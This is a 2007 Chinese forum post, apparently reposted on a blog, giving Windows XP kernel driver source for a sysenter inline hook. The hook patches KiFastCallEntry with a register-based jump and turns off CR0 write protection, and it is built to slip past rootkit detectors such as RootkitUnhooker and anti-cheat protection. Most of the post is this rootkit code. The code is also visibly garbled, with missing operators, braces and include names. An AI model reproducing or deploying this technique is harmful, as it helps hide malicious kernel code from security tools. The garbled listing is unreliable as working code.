另一种sysenter hook方法(绕过绝大多数的rootkit检测工具的检测)

标 题:   【原创】另一种sysenter hook方法(绕过绝大多数的rootkit检测工具的检测)
作 者: 堕落天才
时 间: 2007-04-14,11:09:49
链 接: http://bbs.pediy.com/showthread.php?t=42705


*****************************************************************************
*标题:【原创】另一种sysenter  hook方法(绕过绝大多数的rootkit检测工具的检测)    *
*作者:堕落天才                                                                                                                            *
*日期:2007年4月14号                                                                                                                  *
*****************************************************************************

        先废话,当初是为了绕开NP对sysenter保护而想出来的,后来发现连RootkitUnhooker都绕了.

        什么是sysenter  hook我也不罗唆了,一般的拦截方法就是通过rdmsr  wrmsr  两个指令把原来的sysenter地址改成自己的sysenter地址来实现的.这种方法使用方便,但检测也很容易.
        这里介绍的另外一种方法不改变sysenter地址,而是通过直接在原来sysenter地址里面写跳转代码来实现的,这实际上跟一般的函数头inline  hook一样.这样rootkit检测工具就不会认为sysenter已经改变(实际上也是没变).
        一般的rootkit检测工具检测函数inline  hook是通过检测长跳转指令0xE9的来判断跳转距离是不是超出函数所在的模块范围来确定 的.但是实现跳转我们也可以借助寄存器或变量(用变量跳转需要涉及重定位问题,麻烦.所以一般用寄存器),这样跳转指令就不是0xE9了而是0xFF,这 个绝大多数rootkit检测工具是检测不到的(包括著名的RootkitUnhooker,VICE).

        由于我们已经改变了KiFastCall函数头,所以我们只能把原来的函数头代码放到另外一个地方执行(动态分配内存,当然如果不考虑兼容性硬编码也没问题),然后再跳转回来.这里使用了"三级跳",大概是这个样子.
        sysenter->KiFastCall
                          JMP  ->  MyKiFastCall(这里进行拦截或什么的)
                                        JMP  ->  KiFastCall  head  code  (这里执行原来KiFastCall函数头代码)
                                                      JMP  ->  KiFastCall  N(已经执行指令长度)
///   
//堕落天才
//2007年4月14日
#include
#include  "OpCodeSize.h"

ULONG  uSysenter;                      //sysenter地址
UCHAR  uOrigSysenterHead[8];//保存原来的八个字节函数头
PUCHAR  pMovedSysenterCode;  //把原来的KiFastCall函数头保存在这里
ULONG  i;                                      //记录服务ID
__declspec(naked)  void  MyKiFastCallEntry(void)
{
    __asm{
                        pop    edi          //因为用到了edi来跳转  这里恢复
                          mov    i,  eax    //得到服务ID
    }
    __asm{   
                      pushad
                      push  fs
                          push  0x30
                        pop  fs
    }
   
    DbgPrint("sysenter  was  hooked!  Get  service  ID:%X",i);  //证明自己存在

    __asm{
                          pop  fs
                          popad       
        jmp  pMovedSysenterCode  //第二跳,跳转到原来的函数头代码 
    }
   
}
//
VOID  OnUnload(IN  PDRIVER_OBJECT  DriverObject)
     
    __asm{
        cli
                          mov    eax,cr0
        and    eax,not  10000h
        mov    cr0,eax
    }

    memcpy((PVOID)uSysenter,uOrigSysenterHead,8);//把原来函数头的八个字节恢复

    __asm{
        mov    eax,cr0
                        or      eax,10000h
        mov    cr0,eax
        sti
    }
    ExFreePool(pMovedSysenterCode);  //  释放分配的内存
    DbgPrint("Unload  sysenterHook");
}


VOID  HookSysenter()
{
    UCHAR    cHookCode[8]  0x57,                    //push  edi              第一跳,从KiFastCall跳到MyKiFastCallEntry.并绕过rootkit检测工具检测
                                                    0xBF,0,0,0,0,    //mov    edi,0000
                                                    0xFF,0xE7};        //jmp    edi

    UCHAR    JmpCode[]={0xE9,0,0,0,0};              //jmp  0000  第三跳,从KiFastCall函数头代码跳转到原来KiFastCall+N

    int        nCopyLen  0;
    int        nPos  0;

    __asm{
                    mov  ecx,0x176
                        rdmsr
        mov  uSysenter,eax    //得到KiFastCallEntry地址
    }
    DbgPrint("sysenter:0xX",uSysenter);

    nPos  uSysenter;
      while(nCopyLen<8){  //我们要改写的函数头至少需要8字节  这里计算实际需要COPY的代码长度  因为我们不能把一条完整的指令打断
        nCopyLen  +=  GetOpCodeSize((PVOID)nPos);    //参考1
        nPos  uSysenter  nCopyLen;
    }
   
    DbgPrint("copy  code  lenght:%d",nCopyLen);

    pMovedSysenterCode  ExAllocatePool(NonPagedPool,20);

    memcpy(uOrigSysenterHead,(PVOID)uSysenter,8);//备份原来8字节代码

    *((ULONG*)(JmpCode+1))  (uSysenter  nCopyLen)  ((ULONG)pMovedSysenterCode  nCopyLen)-  5;//计算跳转地址

    memcpy(pMovedSysenterCode,(PVOID)uSysenter,nCopyLen);  //把原来的函数头放到新分配的内存
    memcpy((PVOID)(pMovedSysenterCode  nCopyLen),JmpCode,5);  //把跳转代码COPY上去

    *((ULONG*)(cHookCode+2))  (ULONG)MyKiFastCallEntry;  //HOOK地址
   
    DbgPrint("Saved  sysenter  code:0xX",pMovedSysenterCode);
    DbgPrint("MyKiFastCallEntry:0xX",MyKiFastCallEntry);

    __asm{
        cli
                        mov    eax,cr0
        and    eax,not  10000h
        mov    cr0,eax
    }

    memcpy((PVOID)uSysenter,cHookCode,8);//把改写原来函数头

    __asm{
        mov    eax,cr0
                        or      eax,10000h
        mov    cr0,eax
        sti
    }

}

NTSTATUS  DriverEntry(IN  PDRIVER_OBJECT  DriverObject,PUNICODE_STRING  RegistryPath)
{

    DbgPrint("Welcome  to  sysenterhook.sys");
    DriverObject->DriverUnload  OnUnload;
    HookSysenter();
    return  STATUS_SUCCESS;
     
/// 
以上代码在  XP  SP2中文  RootkitUnhooker下测试通过 

同理  IDT  hook也可以用这种方法实现,HOOK的实质是改变程序流程,无论在哪里改变
*************************************************************************************************
参考1,  海风月影 ,【分享】西裤哥的 Hook Api Lib 0.2 For 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值